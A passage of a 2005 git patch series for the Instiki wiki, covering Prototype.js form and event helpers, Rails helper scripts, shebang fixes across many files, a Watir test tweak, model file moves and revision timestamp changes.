inputs.length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || + (name && input.name != name)) + continue; + matchingInputs.push(input); + } + + return matchingInputs; + }, + + disable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.blur(); + element.disabled = 'true'; + } + }, + + enable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.disabled = ''; + } + }, + + focusFirstElement: function(form) { + var form = $(form); + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + if (element.type != 'hidden' && !element.disabled) { + Field.activate(element); + break; + } + } + }, + + reset: function(form) { + $(form).reset(); + } +} + +Form.Element = { + serialize: function(element) { + var element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return encodeURIComponent(parameter[0]) + '=' + + encodeURIComponent(parameter[1]); + }, + + getValue: function(element) { + var element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return parameter[1]; + } +} + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'submit': + case 'hidden': + case 'password': + case 'text': + return Form.Element.Serializers.textarea(element); + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + } + return false; + }, + + inputSelector: function(element) { + if (element.checked) + return [element.name, element.value]; + }, + + textarea: function(element) { + return [element.name, element.value]; + }, + + select: function(element) { + var value = ''; + if (element.type == 'select-one') { + var index = element.selectedIndex; + if (index >= 0) + value = element.options[index].value || element.options[index].text; + } else { + value = new Array(); + for (var i = 0; i < element.length; i++) { + var opt = element.options[i]; + if (opt.selected) + value.push(opt.value || opt.text); + } + } + return [element.name, value]; + } +} + +/*--------------------------------------------------------------------------*/ + +var $F = Form.Element.getValue; + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = (new Abstract.TimedObserver()).extend({ + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = (new Abstract.TimedObserver()).extend({ + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + var elements = Form.getElements(this.element); + for (var i = 0; i < elements.length; i++) + this.registerCallback(elements[i]); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + element.target = this; + element.prev_onclick = element.onclick || Prototype.emptyFunction; + element.onclick = function() { + this.prev_onclick(); + this.target.onElementEvent(); + } + break; + case 'password': + case 'text': + case 'textarea': + case 'select-one': + case 'select-multiple': + element.target = this; + element.prev_onchange = element.onchange || Prototype.emptyFunction; + element.onchange = function() { + this.prev_onchange(); + this.target.onElementEvent(); + } + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = (new Abstract.EventObserver()).extend({ + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = (new Abstract.EventObserver()).extend({ + getValue: function() { + return Form.serialize(this.element); + } +}); + + +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + + element: function(event) { + return event.target || event.srcElement; + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + } + }, + + // find the first node with the given tagName, starting from the + // node the event was triggered on; traverses the DOM upwards + findElement: function(event, tagName) { + var element = Event.element(event); + while (element.parentNode && (!element.tagName || + (element.tagName.toUpperCase() != tagName.toUpperCase()))) + element = element.parentNode; + return element; + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0; i < Event.observers.length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + ((navigator.appVersion.indexOf('AppleWebKit') > 0) + || element.attachEvent)) + name = 'keydown'; + + this._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + ((navigator.appVersion.indexOf('AppleWebKit') > 0) + || element.detachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + element.detachEvent('on' + name, observer); + } + } +}); + +/* prevent memory leaks in IE */ +Event.observe(window, 'unload', Event.unloadCache, false); + +var Position = { + + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + realOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return [valueL, valueT]; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = this.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = this.realOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = this.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + clone: function(source, target) { + source = $(source); + target = $(target); + target.style.position = 'absolute'; + var offsets = this.cumulativeOffset(source); + target.style.top = offsets[1] + 'px'; + target.style.left = offsets[0] + 'px'; + target.style.width = source.offsetWidth + 'px'; + target.style.height = source.offsetHeight + 'px'; + } +} diff --git a/script/benchmarker b/script/benchmarker new file mode 100755 index 00000000..2e323b66 --- /dev/null +++ b/script/benchmarker @@ -0,0 +1,19 @@ +#!/usr/bin/ruby1.8 + +if ARGV.empty? + puts "Usage: benchmarker times 'Person.expensive_way' 'Person.another_expensive_way' ..." + exit +end + +require File.dirname(__FILE__) + '/../config/environment' +require 'benchmark' +include Benchmark + +# Don't include compilation in the benchmark +ARGV[1..-1].each { |expression| eval(expression) } + +bm(6) do |x| + ARGV[1..-1].each_with_index do |expression, idx| + x.report("##{idx + 1}") { ARGV[0].to_i.times { eval(expression) } } + end +end \ No newline at end of file diff --git a/script/destroy b/script/destroy new file mode 100755 index 00000000..624049da --- /dev/null +++ b/script/destroy @@ -0,0 +1,7 @@ +#!/usr/bin/ruby1.8 +require File.dirname(__FILE__) + '/../config/environment' +require 'rails_generator' +require 'rails_generator/scripts/destroy' + +ARGV.shift if ['--help', '-h'].include?(ARGV[0]) +Rails::Generator::Scripts::Destroy.new.run(ARGV) diff --git a/script/generate b/script/generate new file mode 100755 index 00000000..a104fc94 --- /dev/null +++ b/script/generate @@ -0,0 +1,7 @@ +#!/usr/bin/ruby1.8 +require File.dirname(__FILE__) + '/../config/environment' +require 'rails_generator' +require 'rails_generator/scripts/generate' + +ARGV.shift if ['--help', '-h'].include?(ARGV[0]) +Rails::Generator::Scripts::Generate.new.run(ARGV) diff --git a/script/profiler b/script/profiler new file mode 100755 index 00000000..92cf8247 --- /dev/null +++ b/script/profiler @@ -0,0 +1,34 @@ +#!/usr/bin/ruby1.8 +if ARGV.empty? + $stderr.puts "Usage: profiler 'Person.expensive_method(10)' [times]" + exit(1) +end + +# Keep the expensive require out of the profile. +$stderr.puts 'Loading Rails...' +require File.dirname(__FILE__) + '/../config/environment' + +# Define a method to profile. +if ARGV[1] and ARGV[1].to_i > 1 + eval "def profile_me() #{ARGV[1]}.times { #{ARGV[0]} } end" +else + eval "def profile_me() #{ARGV[0]} end" +end + +# Use the ruby-prof extension if available. Fall back to stdlib profiler. +begin + require 'prof' + $stderr.puts 'Using the ruby-prof extension.' + Prof.clock_mode = Prof::GETTIMEOFDAY + Prof.start + profile_me + results = Prof.stop + require 'rubyprof_ext' + Prof.print_profile(results, $stderr) +rescue LoadError + $stderr.puts 'Using the standard Ruby profiler.' + Profiler__.start_profile + profile_me + Profiler__.stop_profile + Profiler__.print_profile($stderr) +end diff --git a/script/runner b/script/runner new file mode 100755 index 00000000..a9f705c1 --- /dev/null +++ b/script/runner @@ -0,0 +1,29 @@ +#!/usr/bin/ruby1.8 +require 'optparse' + +options = { :environment => "development" } + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: runner 'puts Person.find(1).name' [options]" + + opts.separator "" + + opts.on("-e", "--environment=name", String, + "Specifies the environment for the runner to operate under (test/development/production).", + "Default: development") { |options[:environment]| } + + opts.separator "" + + opts.on("-h", "--help", + "Show this help message.") { puts opts; exit } + + opts.parse! +end + +ENV["RAILS_ENV"] = options[:environment] + +#!/usr/local/bin/ruby + +require File.dirname(__FILE__) + '/../config/environment' +eval(ARGV.first) \ No newline at end of file From f07d0e32c6295ab3d4076b36e8047aa7eef69a9f Mon Sep 17 00:00:00 2001 From: Ben Bleything Date: Thu, 11 Aug 2005 05:46:38 +0000 Subject: [PATCH 343/529] Fix shebangs. Consistentlicious! --- instiki | 2 +- instiki.rb | 2 +- lib/bluecloth_tweaked.rb | 2 +- public/dispatch.cgi | 2 +- public/dispatch.fcgi | 2 +- public/dispatch.rb | 2 +- script/benchmarker | 2 +- script/breakpointer | 2 +- script/console | 2 +- script/destroy | 2 +- script/generate | 2 +- script/profiler | 2 +- script/runner | 4 ++-- script/server | 2 +- test/functional/admin_controller_test.rb | 2 +- test/functional/file_controller_test.rb | 2 +- test/functional/routes_test.rb | 2 +- test/functional/wiki_controller_test.rb | 2 +- test/unit/chunks/category_test.rb | 2 +- test/unit/chunks/nowiki_test.rb | 2 +- test/unit/chunks/wiki_test.rb | 2 +- test/unit/diff_test.rb | 2 +- test/unit/file_yard_test.rb | 2 +- test/unit/redcloth_for_tex_test.rb | 2 +- test/unit/uri_test.rb | 2 +- test/unit/wiki_words_test.rb | 2 +- 26 files changed, 27 insertions(+), 27 deletions(-) diff --git a/instiki b/instiki index c6a5592f..bf720a1c 100755 --- a/instiki +++ b/instiki @@ -1,4 +1,4 @@ -#!/usr/bin/ruby +#!/usr/bin/env ruby # Executable file for a gem # must be same as ./instiki.rb diff --git a/instiki.rb b/instiki.rb index e5637f96..f26498e4 100755 --- a/instiki.rb +++ b/instiki.rb @@ -1,3 +1,3 @@ -#!/usr/bin/ruby +#!/usr/bin/env ruby load File.dirname(__FILE__) + '/script/server' diff --git a/lib/bluecloth_tweaked.rb b/lib/bluecloth_tweaked.rb index 468b4fea..b91622f1 100644 --- a/lib/bluecloth_tweaked.rb +++ b/lib/bluecloth_tweaked.rb @@ -1,4 +1,4 @@ -#!/usr/bin/ruby +#!/usr/bin/env ruby # # Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion # tool. diff --git a/public/dispatch.cgi b/public/dispatch.cgi index 3848806d..ce705d36 100755 --- a/public/dispatch.cgi +++ b/public/dispatch.cgi @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) diff --git a/public/dispatch.fcgi b/public/dispatch.fcgi index 3169ba26..664dbbbe 100755 --- a/public/dispatch.fcgi +++ b/public/dispatch.fcgi @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby # # You may specify the path to the FastCGI crash log (a log of unhandled # exceptions which forced the FastCGI instance to exit, great for debugging) diff --git a/public/dispatch.rb b/public/dispatch.rb index 7095803c..ce705d36 100755 --- a/public/dispatch.rb +++ b/public/dispatch.rb @@ -1,4 +1,4 @@ -#!e:/ruby/bin/ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) diff --git a/script/benchmarker b/script/benchmarker index 2e323b66..4a0ea231 100755 --- a/script/benchmarker +++ b/script/benchmarker @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby if ARGV.empty? puts "Usage: benchmarker times 'Person.expensive_way' 'Person.another_expensive_way' ..." diff --git a/script/breakpointer b/script/breakpointer index 89e286dd..6375616b 100755 --- a/script/breakpointer +++ b/script/breakpointer @@ -1,4 +1,4 @@ -#!e:/ruby/bin/ruby +#!/usr/bin/env ruby require 'rubygems' require_gem 'rails' require 'breakpoint_client' diff --git a/script/console b/script/console index eece24a9..e23abda3 100755 --- a/script/console +++ b/script/console @@ -1,4 +1,4 @@ -#!/usr/local/bin/ruby +#!/usr/bin/env ruby irb = RUBY_PLATFORM =~ /mswin32/ ? 'irb.bat' : 'irb' require 'optparse' diff --git a/script/destroy b/script/destroy index 624049da..46cc786e 100755 --- a/script/destroy +++ b/script/destroy @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../config/environment' require 'rails_generator' require 'rails_generator/scripts/destroy' diff --git a/script/generate b/script/generate index a104fc94..26447804 100755 --- a/script/generate +++ b/script/generate @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../config/environment' require 'rails_generator' require 'rails_generator/scripts/generate' diff --git a/script/profiler b/script/profiler index 92cf8247..77c9fbef 100755 --- a/script/profiler +++ b/script/profiler @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby if ARGV.empty? $stderr.puts "Usage: profiler 'Person.expensive_method(10)' [times]" exit(1) diff --git a/script/runner b/script/runner index a9f705c1..9c8bbb13 100755 --- a/script/runner +++ b/script/runner @@ -1,4 +1,4 @@ -#!/usr/bin/ruby1.8 +#!/usr/bin/env ruby require 'optparse' options = { :environment => "development" } @@ -23,7 +23,7 @@ end ENV["RAILS_ENV"] = options[:environment] -#!/usr/local/bin/ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../config/environment' eval(ARGV.first) \ No newline at end of file diff --git a/script/server b/script/server index c6bdbb6f..0044d3ef 100755 --- a/script/server +++ b/script/server @@ -1,4 +1,4 @@ -#!/usr/local/bin/ruby +#!/usr/bin/env ruby require 'webrick' require 'optparse' diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index a24cf8c0..3270b08e 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'admin_controller' diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index cea3aa81..77040c60 100755 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'file_controller' diff --git a/test/functional/routes_test.rb b/test/functional/routes_test.rb index c2334ef7..b07a6438 100644 --- a/test/functional/routes_test.rb +++ b/test/functional/routes_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index b799ad3b..984bf4cd 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb index 163075f0..6bc7627f 100755 --- a/test/unit/chunks/category_test.rb +++ b/test/unit/chunks/category_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/category' diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb index 2fcad789..8af5a645 100755 --- a/test/unit/chunks/nowiki_test.rb +++ b/test/unit/chunks/nowiki_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/nowiki' diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index b73a88cc..09871729 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../../test_helper' require 'chunks/wiki' diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb index 90d0e79c..9981305e 100755 --- a/test/unit/diff_test.rb +++ b/test/unit/diff_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'diff' diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb index 9d76bd7c..b1859ec2 100755 --- a/test/unit/file_yard_test.rb +++ b/test/unit/file_yard_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'fileutils' diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb index d15071a0..3556beaf 100755 --- a/test/unit/redcloth_for_tex_test.rb +++ b/test/unit/redcloth_for_tex_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'redcloth_for_tex' diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 4affbd60..29326c3b 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.dirname(__FILE__) + '/../test_helper' require 'chunks/uri' diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb index 93bc5d12..f90a8d12 100755 --- a/test/unit/wiki_words_test.rb +++ b/test/unit/wiki_words_test.rb @@ -1,4 +1,4 @@ -#!/bin/env ruby +#!/usr/bin/env ruby require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'wiki_words' From 4f7e5bca30a10320a33501ad8148331c9da70653 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 14 Aug 2005 04:06:31 +0000 Subject: [PATCH 344/529] Changes in Watir test to accomodate the AR backend --- test/watir/e2e.rb | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/test/watir/e2e.rb b/test/watir/e2e.rb index 90cb9af3..8db2c36e 100644 --- a/test/watir/e2e.rb +++ b/test/watir/e2e.rb @@ -307,9 +307,9 @@ class InstikiController startup_info = [68].pack('lx64') process_info = [0, 0, 0, 0].pack('llll') + clear_database startup_command = - "ruby #{RAILS_ROOT}/instiki.rb --storage #{prepare_storage} " + - " --port #{INSTIKI_PORT} --environment development" + "ruby #{RAILS_ROOT}/instiki.rb --port #{INSTIKI_PORT} --environment development" result = Win32API.new('kernel32.dll', 'CreateProcess', 'pplllllppp', 'L').call( nil, @@ -323,11 +323,10 @@ class InstikiController return self.new(process_id) end - def self.prepare_storage - storage_path = INSTIKI_ROOT + '/storage/e2e' - FileUtils.rm_rf(storage_path) if File.exists? storage_path - FileUtils.mkdir_p(storage_path) - storage_path + def self.clear_database + ENV['RAILS_ENV'] = 'development' + require INSTIKI_ROOT + '/config/environment.rb' + [Revision, Page, Web, System].each { |entity| entity.delete_all } end def initialize(pid) From b4ae0b3065132ed1ea7c90e5bc892cfe1550ac2c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 14 Aug 2005 04:42:19 +0000 Subject: [PATCH 345/529] Moving back some model classes to where they belong. Model classes need not map to database entities to be model classes --- {lib => app/models}/author.rb | 0 {lib => app/models}/page_set.rb | 0 {lib => app/models}/wiki.rb | 0 script/server | 4 ++-- 4 files changed, 2 insertions(+), 2 deletions(-) rename {lib => app/models}/author.rb (100%) rename {lib => app/models}/page_set.rb (100%) rename {lib => app/models}/wiki.rb (100%) diff --git a/lib/author.rb b/app/models/author.rb similarity index 100% rename from lib/author.rb rename to app/models/author.rb diff --git a/lib/page_set.rb b/app/models/page_set.rb similarity index 100% rename from lib/page_set.rb rename to app/models/page_set.rb diff --git a/lib/wiki.rb b/app/models/wiki.rb similarity index 100% rename from lib/wiki.rb rename to app/models/wiki.rb diff --git a/script/server b/script/server index 0044d3ef..27a7989a 100755 --- a/script/server +++ b/script/server @@ -21,13 +21,13 @@ ARGV.options do |opts| "Runs Instiki on the specified port.", "Default: 2500") { |OPTIONS[:port]| } opts.on("-b", "--binding=ip", String, - "Binds Rails to the specified ip.", + "Binds Instiki to the specified ip.", "Default: 0.0.0.0") { |OPTIONS[:ip]| } opts.on("-e", "--environment=name", String, "Specifies the environment to run this server under (test/development/production).", "Default: development") { |OPTIONS[:environment]| } opts.on("-d", "--daemon", - "Make Rails run as a Daemon (only works if fork is available -- meaning on *nix)." + "Make Instiki run as a Daemon (only works if fork is available -- meaning on *nix)." ) { OPTIONS[:server_type] = WEBrick::Daemon } opts.separator "" From 476d7810f6ee7049165d00f4c3ba66b92fd33564 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 14 Aug 2005 18:58:36 +0000 Subject: [PATCH 346/529] Added Revision.timestamp attribute, which is a timestamp to the precision of msec. Intention is to get rid of the revision.number and use this one for sotrting etc. The problem with created_at / updated_at in this role is that trhey have precision of seconds, which is not good enough for some of the purposes. --- app/models/revision.rb | 9 ++++++++- db/revisions.erbsql | 2 ++ test/fixtures/revisions.yml | 10 +++++++++- 3 files changed, 19 insertions(+), 2 deletions(-) diff --git a/app/models/revision.rb b/app/models/revision.rb index ca886245..9d2c0ba1 100644 --- a/app/models/revision.rb +++ b/app/models/revision.rb @@ -112,11 +112,18 @@ class Revision < ActiveRecord::Base end protected - before_create :set_revision_number + before_create :set_revision_number, :set_timestamp after_create :force_rendering after_save :clear_display_cache + # TODO Refactor this away. Revisions collection should not rely on the revision number for + # sorting etc - revisions must be easy to delete (this helps fighting wiki spam) def set_revision_number self.number = self.class.count(['page_id = ?', page_id]) + 1 end + + def set_timestamp + self.timestamp = (Time.now.to_f * 1000).to_i.to_s + end + end diff --git a/db/revisions.erbsql b/db/revisions.erbsql index 28034555..e8461d2b 100644 --- a/db/revisions.erbsql +++ b/db/revisions.erbsql @@ -2,6 +2,8 @@ CREATE TABLE revisions ( id <%= @pk %>, created_at <%= @datetime %> NOT NULL, updated_at <%= @datetime %> NOT NULL, + + timestamp CHAR(13) NOT NULL, page_id INTEGER NOT NULL, content TEXT NOT NULL, author VARCHAR(60), diff --git a/test/fixtures/revisions.yml b/test/fixtures/revisions.yml index eb5eff5b..d0491c9e 100644 --- a/test/fixtures/revisions.yml +++ b/test/fixtures/revisions.yml @@ -2,6 +2,7 @@ home_page_first_revision: id: 1 created_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %> updated_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %> + timestamp: <%= (Time.local(2004, 4, 4, 15, 50).to_f * 1000).to_i %> page_id: 1 number: 1 content: First revision of the HomePage end @@ -12,6 +13,7 @@ my_way_first_revision: id: 2 created_at: <%= 9.days.ago.to_formatted_s(:db) %> updated_at: <%= 9.days.ago.to_formatted_s(:db) %> + timestamp: <%= (9.days.ago.to_f * 1000).to_i %> page_id: 2 number: 1 content: MyWay @@ -21,6 +23,7 @@ smart_engine_first_revision: id: 3 created_at: <%= 8.days.ago.to_formatted_s(:db) %> updated_at: <%= 8.days.ago.to_formatted_s(:db) %> + timestamp: <%= (8.days.ago.to_f * 1000).to_i %> page_id: 3 number: 1 content: SmartEngine @@ -30,6 +33,7 @@ that_way_first_revision: id: 4 created_at: <%= 7.days.ago.to_formatted_s(:db) %> updated_at: <%= 7.days.ago.to_formatted_s(:db) %> + timestamp: <%= (7.days.ago.to_f * 1000).to_i %> page_id: 4 number: 1 content: ThatWay @@ -39,6 +43,7 @@ no_wiki_word_first_revision: id: 5 created_at: <%= 6.days.ago.to_formatted_s(:db) %> updated_at: <%= 6.days.ago.to_formatted_s(:db) %> + timestamp: <%= (6.days.ago.to_f * 1000).to_i %> page_id: 5 number: 1 content: hey you @@ -48,6 +53,7 @@ home_page_second_revision: id: 6 created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> + timestamp: <%= (Time.local(2004, 4, 4, 16, 50).to_f * 1000).to_i %> page_id: 1 number: 2 content: HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- see SmartEngine in that SmartEngineGUI @@ -57,6 +63,7 @@ first_page_first_revision: id: 7 created_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> updated_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> + timestamp: <%= (Time.local(2004, 4, 4, 16, 55).to_f * 1000).to_i %> page_id: 6 number: 1 content: HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI @@ -66,6 +73,7 @@ oak_first_revision: id: 8 created_at: <%= 5.days.ago.to_formatted_s(:db) %> updated_at: <%= 5.days.ago.to_formatted_s(:db) %> + timestamp: <%= (5.days.ago.to_f * 1000).to_i %> page_id: 7 number: 1 content: "All about oak.\ncategory: trees" @@ -76,9 +84,9 @@ elephant_first_revision: id: 9 created_at: <%= 10.minutes.ago.to_formatted_s(:db) %> updated_at: <%= 10.minutes.ago.to_formatted_s(:db) %> + timestamp: <%= (10.minutes.ago.to_f * 1000).to_i %> page_id: 8 number: 1 content: "All about elephants.\ncategory: animals" author: Guest ip: 127.0.0.2 - From 052754b068aedca032de5a72d570cbc0913fc061 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 14 Aug 2005 22:26:54 +0000 Subject: [PATCH 347/529] Dropped number from revision table. Also dropped timestamp. We will rely on autoincremented ID for sorting, and will for now store the time of last edit of the revision in revised_at. Later we will refactor content into a separate table (so as not to load the whole 300 kb of text and cached HTML every time we need page.revisions in code). Rake tests all pass, but watir tests indicate that some revision traversing links are still broken --- app/controllers/wiki_controller.rb | 9 ++--- app/models/page.rb | 44 ++++++++++++++++--------- app/models/page_set.rb | 5 ++- app/models/revision.rb | 43 ++++++++---------------- app/models/web.rb | 4 +-- app/models/wiki.rb | 4 +-- app/views/wiki/page.rhtml | 4 +-- app/views/wiki/print.rhtml | 2 +- app/views/wiki/recently_revised.rhtml | 2 +- app/views/wiki/revision.rhtml | 26 +++++++-------- app/views/wiki/rollback.rhtml | 2 +- app/views/wiki/rss_feed.rhtml | 2 +- db/revisions.erbsql | 10 ++++-- test/fixtures/revisions.yml | 27 +++++---------- test/functional/wiki_controller_test.rb | 4 +-- test/unit/page_test.rb | 32 +++++++++++------- test/unit/revision_test.rb | 6 ++-- test/watir/e2e.rb | 2 +- 18 files changed, 116 insertions(+), 112 